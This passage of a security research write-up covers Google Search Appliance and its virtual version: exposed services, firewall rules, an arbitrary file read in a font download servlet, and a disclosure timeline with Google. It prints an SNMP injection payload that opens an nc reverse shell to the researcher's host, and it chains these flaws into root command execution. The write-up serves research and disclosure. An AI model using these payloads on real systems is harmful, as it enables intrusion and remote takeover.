<td>webserver_config</td> <td>python</td> <td>Installer</td> </tr> <tr> <td>2100</td> <td>adminrunner.py</td> <td>python</td> <td>admin console backend</td> </tr> <tr> <td>3990</td> <td>monitor</td> <td>C/C++</td> <td>monitor</td> </tr> <tr> <td>4000</td> <td>rtserver</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>4430</td> <td>EnterpriseFrontend</td> <td>Java (with security manager)</td> <td>admin console frontend</td> </tr> <tr> <td>4911</td> <td>borgmon</td> <td>C/C++</td> <td>borgmon</td> </tr> <tr> <td>4916</td> <td>reactor</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>5000</td> <td>rtserver</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>5600</td> <td>rtserver</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>6600</td> <td>cacheserver</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>7800</td> <td>EnterpriseFrontend</td> <td>Java (with security manager)</td> <td>admin console frontend (http)</td> </tr> <tr> <td>7880</td> <td>TableServer</td> <td>Java (with security manager)</td> <td>unknown</td> </tr> <tr> <td>7882</td> <td>AuthzChecker</td> <td>Java (without security manager)</td> <td>unknown</td> </tr> <tr> <td>7886</td> <td>tomcat</td> <td>Java</td> <td>tomcat server</td> </tr> <tr> <td>8000</td> <td>EnterpriseAdminConsole</td> <td>Java (without security manager)</td> <td>unknown</td> </tr> <tr> <td>8443</td> <td>stunnel</td> <td>C/C++</td> <td>redirect http to https</td> </tr> <tr> <td>8888</td> <td>GWS</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>9300</td> <td>oneboxserver</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>9328</td> <td>entspellmixer</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>9400</td> <td>mixserver</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>9402</td> <td>mixserver</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>9448</td> <td>qrewrite</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>9450</td> <td>EnterpriseAdminConsole</td> <td>Java (without security manager )</td> <td>unknown</td> </tr> <tr> <td>10094</td> <td>enterprise_onebox</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>10200</td> <td>clustering_server</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>11913</td> <td>sessionmanager</td> <td>C/C++</td> <td>unknown</td> </tr> <tr> <td>12345</td> <td>RegistryServer</td> <td>Java (without security manager)</td> <td>unknown</td> </tr> <tr> <td>19780</td> <td>configmgr/ent_configmgr.py</td> <td>python</td> <td>unknown</td> </tr> <tr> <td>19900</td> <td>feedergate</td> <td>C/C++</td> <td>extract, transform and feed records</td> </tr> <tr> <td>21200</td> <td>FileSystemGateway</td> <td>Java (with security manager)</td> <td>unknown</td> </tr> <tr> <td>31300</td> <td>rtserver</td> <td>C/C++</td> <td>unknown</td> </tr> </tbody> </table> <p>Despite the presence of so many services, most connections are blocked by iptables. The following are the iptables settings:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Redirect privileged ports.</span> <span class="c"># (we listen as nobody, which can't attach to low ports, so redirect to high ports)</span> <span class="c">#</span> <span class="nt">-A</span> PREROUTING <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 80 <span class="nt">-j</span> REDIRECT <span class="nt">--to-ports</span> 7800 <span class="nt">-A</span> PREROUTING <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 443 <span class="nt">-j</span> REDIRECT <span class="nt">--to-ports</span> 4430 <span class="nt">-A</span> PREROUTING <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 444 <span class="nt">-j</span> REDIRECT <span class="nt">--to-ports</span> 4431 <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> state <span class="nt">--state</span> ESTABLISHED,RELATED <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 22 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 7800 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 7801 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 4430 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 4431 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 19900 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 8000 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 8443 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 9941 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 9942 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 10999 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--sport</span> 68 <span class="nt">--dport</span> 67 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 53 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 137:138 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 123 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 514 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 161 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--sport</span> 161 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 162 <span class="nt">-j</span> ACCEPT </code></pre></div></div> <p>The following summarizes the actual accessible TCP attack surface:</p> <table> <thead> <tr> <th>Port</th> <th>Service</th> <th>Program Location</th> </tr> </thead> <tbody> <tr> <td>22</td> <td>ssh</td> <td>/usr/sbin/sshd</td> </tr> <tr> <td>7800</td> <td>EnterpriseFrontend</td> <td>/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar</td> </tr> <tr> <td>4430</td> <td>EnterpriseFrontend</td> <td>/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar</td> </tr> <tr> <td>19900</td> <td>feedergate</td> <td>/export/hda3/5.2.0/local/google/bin/feedergate</td> </tr> <tr> <td>8000</td> <td>EnterpriseAdminConsole</td> <td>/export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar</td> </tr> <tr> <td>8443</td> <td>stunnel</td> <td>/usr/sbin/stunnel</td> </tr> </tbody> </table> <p>And we found that the strings in file <code class="language-plaintext highlighter-rouge">/export/hda3/versionmanager/google_key.symmetric</code> can be used to decrypt the content of all install bundles! After gaining privileges using CVE-2014-6271 and decrypting the contents of the install bundle, our research on vGSA has temporarily concluded.</p> <p>But its lacks of memory protection might have some vulnerabilities that can be easily exploited.</p> <p><img src="/assets/img/blog/20230707/6.png" alt="" /></p> <h3 id="gsa">GSA</h3> <p>Upon booting the installed appliance and attempting to change the boot sequence, we found that a password is required to enter the BIOS. Moreover, only some functions are accessible in the management interface of the Dell H700 RAID card:</p> <p><img src="/assets/img/blog/20230707/7.png" alt="" /></p> <p>Next, attempt to directly read the contents of the hard drive. If the hard drive content is not encrypted, there is a chance that the device’s operating system and software can be obtained directly. We found that its hard drive uses SAS interface for transmission. Before attempting, it is necessary to purchase a SAS HBA card. The LSI 9211-8i is used for connection in this test:</p> <p><img src="/assets/img/blog/20230707/8.png" alt="" /></p> <p>After connecting and attempting to read, it was discovered that this is a Self-Encrypting Drive (SED). It requires a password to unlock for access. OSSLab has a more detailed explanation here:</p> <p><a href="https://www.osslab.com.tw/ata-sed-security/">https://www.osslab.com.tw/ata-sed-security/</a> (chinese article)</p> <p>There are several ways to continue trying when the hard drive cannot be directly accessed:</p> <ul> <li>Try to read the password in the BIOS EEPROM and change the boot order.</li> </ul> <p>This method requires damage to the motherboard and carries some risk. This method is only used when no vulnerabilities can be found at the software level. More information: <a href="https://blog.cybercx.co.nz/bypassing-bios-password">https://blog.cybercx.co.nz/bypassing-bios-password</a></p> <ul> <li>Use PCILeech to read, write memory to gain system privileges.</li> </ul> <p>This method requires specific PCI-e devices, which were not prepared at the time. You can refer to this GitHub project:</p> <p><a href="https://github.com/ufrisk/pcileech">https://github.com/ufrisk/pcileech</a></p> <ul> <li>Look for software vulnerabilities that can access the service</li> </ul> <p>This method is simpler and more feasible.</p> <h4 id="lf-injection-in-admin-console">LF injection in Admin Console</h4> <p>After logging into the admin console, we observed a feature for obtaining system information through SNMP. Additionally, this feature allows the insertion of custom strings.:</p> <p><img src="/assets/img/blog/20230707/9.png" alt="" /></p> <p>We tried classic LF injection here:</p> <p><img src="/assets/img/blog/20230707/10.png" alt="" /></p> <p>Inject <code class="language-plaintext highlighter-rouge">sysContact</code> with a LF and following command:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>extend shell /bin/nc -e /bin/sh 10.5.2.1 4444 </code></pre></div></div> <p>After inserting the configuration value “extend”, we can use the command “snmpwalk” to trigger the SNMP’s extend functionality and execute a shell.</p> <p><img src="/assets/img/blog/20230707/11.png" alt="" /></p> <p>Command executed successfully, and connected back with a shell.</p> <h4 id="arbitrary-file-reading">Arbitrary File Reading</h4> <p>From GSA 6.x series versions, we found that the 80/443 web services use Apache httpd in the RPM installation package. There are several http configurations located in /etc/httpd/conf.d/. In the files gsa-http.conf and gsaa-https.conf, certain directories are redirected to specific local services.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> RewriteEngine on RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L] RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L] RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L] RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L] RewriteRule ^/$ http://localhost:7800/ [P,L] RewriteRule ^/(.*) http://localhost:7800/$1 [P,L] </code></pre></div></div> <p>The communication ports 7886 and 7890 are services run by separate Apache Tomcat servers. When proxying two or more web servers, the path determination of Tomcat, ..;/, is an interesting test point. You can refer to the article written by our employee for more details:</p> <p><a href="https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf">https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf</a></p> <p>The point we’re interested in is <code class="language-plaintext highlighter-rouge">dps</code>, which doesn’t seem to be present in the old version of GSA. Extracting /WEB-INF/web.xml from dps.war allows us to inspect the web application configuration, and we’ve found that the endpoint of /font will handled by <code class="language-plaintext highlighter-rouge">com.documill.dps.connector.servlet.user.DPSDownloadServlet</code></p> <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nt">&lt;servlet&gt;</span> <span class="nt">&lt;servlet-name&gt;</span>font<span class="nt">&lt;/servlet-name&gt;</span> <span class="nt">&lt;servlet-class&gt;</span>com.documill.dps.connector.servlet.user.DPSDownloadServlet<span class="nt">&lt;/servlet-class&gt;</span> <span class="nt">&lt;init-param&gt;</span> <span class="nt">&lt;param-name&gt;</span>rootDirectory<span class="nt">&lt;/param-name&gt;</span> <span class="nt">&lt;param-value&gt;</span>work/fonts/<span class="nt">&lt;/param-value&gt;</span> <span class="nt">&lt;/init-param&gt;</span> <span class="nt">&lt;/servlet&gt;</span> <span class="nt">&lt;servlet-mapping&gt;</span> <span class="nt">&lt;servlet-name&gt;</span>font<span class="nt">&lt;/servlet-name&gt;</span> <span class="nt">&lt;url-pattern&gt;</span>/font/*<span class="nt">&lt;/url-pattern&gt;</span> <span class="nt">&lt;/servlet-mapping&gt;</span> </code></pre></div></div> <p>And looking into <code class="language-plaintext highlighter-rouge">DPSDownloadServlet</code>:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">com.davisor.net.servlet.DownloadServlet</span><span class="o">;</span> <span class="kn">import</span> <span class="nn">com.documill.dps.*</span><span class="o">;</span> <span class="kn">import</span> <span class="nn">java.io.*</span><span class="o">;</span> <span class="kn">import</span> <span class="nn">javax.servlet.ServletContext</span><span class="o">;</span> <span class="kd">public</span> <span class="kd">class</span> <span class="nc">DPSDownloadServlet</span> <span class="kd">extends</span> <span class="nc">DownloadServlet</span> <span class="kd">implements</span> <span class="nc">DPSUserService</span> <span class="o">{</span> <span class="kd">public</span> <span class="nf">DPSDownloadServlet</span><span class="o">()</span> <span class="o">{</span> <span class="o">}</span> <span class="kd">protected</span> <span class="nc">String</span> <span class="nf">getRealPath</span><span class="o">(</span><span class="nc">ServletContext</span> <span class="n">servletcontext</span><span class="o">,</span> <span class="nc">String</span> <span class="n">s</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span> <span class="no">DPS</span> <span class="n">dps</span> <span class="o">=</span> <span class="nc">DPSSingleton</span><span class="o">.</span><span class="na">getDPS</span><span class="o">();</span> <span class="nc">File</span> <span class="n">file</span> <span class="o">=</span> <span class="n">dps</span><span class="o">.</span><span class="na">getHomeDir</span><span class="o">();</span> <span class="k">if</span><span class="o">(</span><span class="n">file</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nf">FileNotFoundException</span><span class="o">(</span><span class="s">"DPSDownloadServlet:getRealPath:DPS home directory not specified"</span><span class="o">);</span> <span class="k">else</span> <span class="nf">return</span> <span class="o">(</span><span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="n">file</span><span class="o">,</span> <span class="n">s</span><span class="o">)).</span><span class="na">getAbsolutePath</span><span class="o">();</span> <span class="o">}</span> <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">long</span> <span class="n">serialVersionUID</span> <span class="o">=</span> <span class="mi">0L</span><span class="o">;</span> <span class="o">}</span> </code></pre></div></div> <p>Step into <code class="language-plaintext highlighter-rouge">com.davisor.net.servlet.DownloadServlet</code> which extends <code class="language-plaintext highlighter-rouge">DPSDownloadServlet</code>:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">protected</span> <span class="kt">void</span> <span class="nf">service</span><span class="o">(</span><span class="nc">HttpServletRequest</span> <span class="n">httpservletrequest</span><span class="o">,</span> <span class="nc">HttpServletResponse</span> <span class="n">httpservletresponse</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">ServletException</span><span class="o">,</span> <span class="nc">IOException</span> <span class="o">{</span> <span class="nc">String</span> <span class="n">s</span> <span class="o">=</span> <span class="n">httpservletrequest</span><span class="o">.</span><span class="na">getParameter</span><span class="o">(</span><span class="n">uriParameterName</span><span class="o">);</span> <span class="k">if</span><span class="o">(!</span><span class="n">isValid</span><span class="o">(</span><span class="n">s</span><span class="o">))</span> <span class="o">{</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">sendError</span><span class="o">(</span><span class="mi">400</span><span class="o">,</span> <span class="o">(</span><span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"Invalid file path: "</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">s</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span> <span class="k">return</span><span class="o">;</span> <span class="o">}</span> <span class="nc">File</span> <span class="n">file</span> <span class="o">=</span> <span class="n">rootDirectory</span><span class="o">.</span><span class="na">deriveFile</span><span class="o">(</span><span class="n">s</span><span class="o">);</span> <span class="k">if</span><span class="o">(!</span><span class="n">file</span><span class="o">.</span><span class="na">isFile</span><span class="o">())</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">sendError</span><span class="o">(</span><span class="mi">404</span><span class="o">,</span> <span class="o">(</span><span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"No file:"</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">s</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span> <span class="k">else</span> <span class="nf">if</span><span class="o">(!</span><span class="n">file</span><span class="o">.</span><span class="na">canRead</span><span class="o">())</span> <span class="o">{</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">sendError</span><span class="o">(</span><span class="mi">403</span><span class="o">,</span> <span class="o">(</span><span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"Unreadable file:"</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">s</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span> <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> <span class="kt">long</span> <span class="n">l</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="na">length</span><span class="o">();</span> <span class="k">if</span><span class="o">(</span><span class="n">l</span> <span class="o">&gt;</span> <span class="mh">0x7fffffff</span><span class="no">L</span><span class="o">)</span> <span class="o">{</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">sendError</span><span class="o">(</span><span class="mi">413</span><span class="o">,</span> <span class="o">(</span><span class="k">new</span> <span class="nc">StringBuilder</span><span class="o">()).</span><span class="na">append</span><span class="o">(</span><span class="s">"File too big:"</span><span class="o">).</span><span class="na">append</span><span class="o">(</span><span class="n">l</span><span class="o">).</span><span class="na">toString</span><span class="o">());</span> <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> <span class="nc">String</span> <span class="n">s1</span> <span class="o">=</span> <span class="no">MIME</span><span class="o">.</span><span class="na">getTypeFromPath</span><span class="o">(</span><span class="n">file</span><span class="o">.</span><span class="na">getName</span><span class="o">(),</span> <span class="s">"application/octet-stream"</span><span class="o">);</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">setContentLength</span><span class="o">((</span><span class="kt">int</span><span class="o">)</span><span class="n">l</span><span class="o">);</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">setContentType</span><span class="o">(</span><span class="n">s1</span><span class="o">);</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">setDateHeader</span><span class="o">(</span><span class="s">"Last-Modified"</span><span class="o">,</span> <span class="n">file</span><span class="o">.</span><span class="na">lastModified</span><span class="o">());</span> <span class="k">if</span><span class="o">(</span><span class="n">cacheExpires</span> <span class="o">&gt;</span> <span class="mi">0L</span><span class="o">)</span> <span class="o">{</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">setDateHeader</span><span class="o">(</span><span class="s">"Expires"</span><span class="o">,</span> <span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">()</span> <span class="o">+</span> <span class="n">cacheExpires</span><span class="o">);</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">setHeader</span><span class="o">(</span><span class="s">"Cache-Control"</span><span class="o">,</span> <span class="s">"public"</span><span class="o">);</span> <span class="o">}</span> <span class="no">IO</span><span class="o">.</span><span class="na">copy</span><span class="o">(</span><span class="n">file</span><span class="o">,</span> <span class="n">httpservletresponse</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">());</span> <span class="o">}</span> <span class="o">}</span> <span class="o">}</span> <span class="kd">private</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">isValid</span><span class="o">(</span><span class="nc">String</span> <span class="n">s</span><span class="o">)</span> <span class="o">{</span> <span class="k">return</span> <span class="o">!</span><span class="nc">Strings</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">(</span><span class="n">s</span><span class="o">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">s</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">".."</span><span class="o">);</span> <span class="o">}</span> </code></pre></div></div> <p>You can see here that the only check is whether the string contains <code class="language-plaintext highlighter-rouge">..</code>. However, we can directly specify the absolute path and read any local file directly!</p> <p><img src="/assets/img/blog/20230707/12.png" alt="" /></p> <p>The old version of GSA does not have the /font endpoint, but /dps/admin/admin has a similar file reading issue. You can directly specify the logName for file reading. Refer to the diagram below for directly reading the account password from the system management interface:</p> <p><img src="/assets/img/blog/20230707/13.png" alt="" /></p> <p>After successfully cracking the hash, you can log in, enable the SNMP service, and combine it with the first vulnerability to execute arbitrary commands with root privileges.</p> <h3 id="other-findings-and-misc">Other findings and misc</h3> <h4 id="internal-uris-in-web-services">Internal URIs in web services</h4> <p>In GSA, there are multiple sub-services that communicate with each other using the HTTP protocol. Many of these services offer URLs such as /varz, /helpz, and /procz. We can access them either in the trusted network location defined for the service or using 127.0.0.1:</p> <p><img src="/assets/img/blog/20230707/14.png" alt="" /></p> <p>In vGSA, we observed that there is a service execution parameter called “useripheader=X-User-Ip”, this parameter allows direct access to a certain functionality of the externally exposed admin console when included in the request header as “X-User-Ip”.</p> <p><img src="/assets/img/blog/20230707/15.png" alt="" /></p> <p><img src="/assets/img/blog/20230707/16.png" alt="" /></p> <p>The <code class="language-plaintext highlighter-rouge">/procz</code> endpoint can even fetch executables and the shared libraries they are using:</p> <p><img src="/assets/img/blog/20230707/17.png" alt="" /></p> <h4 id="appliances-list">Appliances list</h4> <table> <thead> <tr> <th>Model name</th> <th>Maker</th> <th>Specs</th> <th>version</th> <th>Document amount</th> </tr> </thead> <tbody> <tr> <td>Google Mini</td> <td>Gigabyte</td> <td><a href="https://commons.erau.edu/cgi/viewcontent.cgi?article=1153&amp;context=jdfsl">Pentium III 1G / 2GB memory / 120G</a></td> <td>3.4.14</td> <td>300,000</td> </tr> <tr> <td>Google Mini-002X</td> <td>SuperMicro</td> <td>Pentium 4 3G / 2GB memory / 250G HDD</td> <td>5.0.0</td> <td>unknown</td> </tr> <tr> <td>Google GB-1001</td> <td>Dell Poweredge 2950</td> <td>Xeon / 16GB memory / 1.25TB HDD</td> <td>unknown</td> <td>3,000,000</td> </tr> <tr> <td>Google GB-1002</td> <td>Gigabyte</td> <td>unknown</td> <td>unknown</td> <td>unknown</td> </tr> <tr> <td>Google GB-7007</td> <td>Dell R710</td> <td>Xeon E5520 / 48GB memory / 3TB HDD</td> <td>unknown</td> <td>10,000,000</td> </tr> <tr> <td>Google GB-9009</td> <td>Dell unknown</td> <td>Xeon X5560 / 96GB memory / 3.6TB HDD</td> <td>unknown</td> <td>30,000,000</td> </tr> <tr> <td>Google G100</td> <td>Dell R720XD</td> <td>unknown</td> <td>unknown</td> <td>unknown</td> </tr> </tbody> </table> <h4 id="linux-kernel-version">Linux Kernel Version</h4> <table> <thead> <tr> <th>GSA version</th> <th>Linux Kernel Version</th> </tr> </thead> <tbody> <tr> <td>7.6.0</td> <td>Linux version 3.14.44_gsa-x64_1.5 ([email protected]) (gcc version 4.9.x-google 20150123 (prerelease) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu) ) #1 SMP Mon Nov 23 09:19:11 PST 2015</td> </tr> <tr> <td>7.4.0</td> <td> </td> </tr> <tr> <td>7.2.0</td> <td>Linux version 3.4.3_gsa-x64_1.5 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Tue Jul 9 15:36:01 PDT 2013</td> </tr> <tr> <td>7.0.14</td> <td>Linux version 3.4.3_gsa-x64_1.3 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Thu Jul 19 11:59:57 PDT 2012</td> </tr> <tr> <td>5.2.0</td> <td>Linux version 2.6.20_vmw-smp_3.1 ([email protected]) (gcc version 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008</td> </tr> </tbody> </table> <h3 id="timeline">Timeline</h3> <table> <thead> <tr> <th>時間</th> <th>事件</th> </tr> </thead> <tbody> <tr> <td>2005/06/10</td> <td>Java Code Injection <a href="https://seclists.org/fulldisclosure/2005/Nov/652">CVE-2005-3757</a> reported by H D Moore</td> </tr> <tr> <td>early 2008</td> <td>GSA 5.0 released</td> </tr> <tr> <td>2008/10/28</td> <td>vgsa_20081028.7z (5.2.0) released</td> </tr> <tr> <td>2013/04/20</td> <td>GSA 6.14.0.G28 released</td> </tr> <tr> <td>2014/03/20</td> <td>Cross-site Scripting <a href="https://latesthackingnews.com/2014/05/03/xss-vulnerability-found-in-google-search-appliance/">CVE-2014-0362</a> reported by Will Dormann</td> </tr> <tr> <td>2014/10/01</td> <td>GSA 7.0.14.G238 released</td> </tr> <tr> <td>2014/10/03</td> <td>GSA 7.2.0.G252 released</td> </tr> <tr> <td>2014/12/12</td> <td>GSA 7.2.0.G264 released</td> </tr> <tr> <td>2015/02/07</td> <td>GSA 7.2.0.G270 released</td> </tr> <tr> <td>2015/04/15</td> <td>GSA 7.4.0.G64 released</td> </tr> <tr> <td>2015/04/22</td> <td>GSA 7.4.0.G72 released</td> </tr> <tr> <td>2015/04/30</td> <td>GSA 7.4.0.G74 released</td> </tr> <tr> <td>2015/06/04</td> <td>GSA 7.4.0.G82 released</td> </tr> <tr> <td>early 2016</td> <td>Google announced that GSA will be sunset from the market.</td> </tr> <tr> <td>2016/01/05</td> <td>XML External Entitiy injection <a href="https://insinuator.net/2016/03/classical-web-vulns-found-in-google-search-appliance-7-4/"></a> reported by Timo</td> </tr> <tr> <td>2016/05/24</td> <td>GSA 7.6.0.G36 released</td> </tr> <tr> <td>2016/07/01</td> <td>GSA 7.6.0.G42 released</td> </tr> <tr> <td>2016/07/31</td> <td>The author of this article obtained this device, with the version being 7.0.14</td> </tr> <tr> <td>2016/08/25</td> <td>GSA 7.6.0.G46 released</td> </tr> <tr> <td>2016/10/21</td> <td>GSA 7.6.0.G58 released</td> </tr> <tr> <td>2017/01/19</td> <td>GSA 7.6.50.G30 released</td> </tr> <tr> <td>2017/04/19</td> <td>GSA 7.6.50.G36 released</td> </tr> <tr> <td>2017/07/28</td> <td>GSA 7.6.50.G64 released</td> </tr> <tr> <td>2017/11/09</td> <td>GSA 7.6.250.G12 released</td> </tr> <tr> <td>2017/12/28</td> <td>The final date to order GSA.</td> </tr> <tr> <td>2018/01/17</td> <td>GSA 7.6.250.G20 released</td> </tr> <tr> <td>2018/03/21</td> <td>GSA 7.6.250.G26 released</td> </tr> <tr> <td>2018/06/15</td> <td>GSA 7.6.360.G10 released</td> </tr> <tr> <td>2018/10/08</td> <td>GSA 7.6.360.G16 released</td> </tr> <tr> <td>2019/04/26</td> <td>GSA 7.6.512.G18 released. It should be the last publicly released version.</td> </tr> <tr> <td>2021/08/16</td> <td>issues reported.</td> </tr> <tr> <td>2021/08/16</td> <td>replied from a bot, and triaged.</td> </tr> <tr> <td>2021/08/16</td> <td>issuetracker.google.com assigned a issue.</td> </tr> <tr> <td>2021/08/18</td> <td>Google said issue is not severe enough to qualify for a reward, but VRP panel will take a closer look.</td> </tr> <tr> <td>2021/08/20</td> <td>VRP panel has decided that the security impact of this issue does not meet the bar for a financial reward.</td> </tr> <tr> <td>2021/11/01</td> <td>Asking if a vulnerability will be assigned a CVE identifier.</td> </tr> <tr> <td>2021/11/02</td> <td>Confirming that a CVE identifier will not be assigned.</td> </tr> <tr> <td>early 2023</td> <td>Started writing this article</td> </tr> <tr> <td>2023/06/04</td> <td>First draft completed.</td> </tr> </tbody> </table> <h3 id="conclusion">Conclusion</h3> <p>Although the GSA/vGSA is a product that has reached the end of its lifecycle, studying how Google increases product security and reduces attack vectors for devices can broaden our knowledge, which we might not usually come into 